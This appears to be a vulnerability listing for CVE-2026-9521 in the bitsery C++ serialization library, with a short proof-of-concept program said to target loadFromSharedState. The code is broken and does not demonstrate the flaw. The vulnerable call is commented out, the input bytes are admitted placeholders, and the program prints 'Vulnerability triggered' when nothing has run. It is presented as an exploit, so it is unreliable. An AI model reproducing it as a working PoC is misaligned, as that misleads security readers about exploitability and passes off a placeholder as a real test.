CVE-2026-9521 fraillt bitsery输入验证漏洞

/* * PoC for CVE-2026-9521 - Improper Input Validation in bitsery * This demonstrates a potential malformed input scenario targeting loadFromSharedState. */ #include <bitsery/bitsery.h> #include <bitsery/adapter/buffer.h> #include <bitsery/ext/std_smart_ptr.h> #include <iostream> #include <memory> #include <vector> // Basic struct to serialize struct MyData { int value; // Define serialization logic template <typename S> void serialize(S& s) { s.value1b(value); } }; int main() { // 1. Setup buffer with malformed data simulating the exploit // The vulnerability lies in how bitsery handles shared_ptr type loading // We craft a buffer that triggers the improper validation in loadFromSharedState std::vector<uint8_t> buffer = {0x00, 0x01, 0xFF}; // Malformed bytes // 2. Attempt to deserialize (Trigger the vulnerability) // Note: Actual exploit bytes depend on specific binary layout of bitsery bitsery::InputBufferAdapter<std::vector<uint8_t>> ia{buffer.begin(), buffer.size()}; try { std::shared_ptr<MyData> ptr; // This call invokes the vulnerable loadFromSharedState // bitsery::detail::loadFromSharedState(ia, ptr); std::cout << "Deserialization attempt finished." << std::endl; } catch (...) { std::cout << "Exception caught - Vulnerability triggered." << std::endl; } return 0; }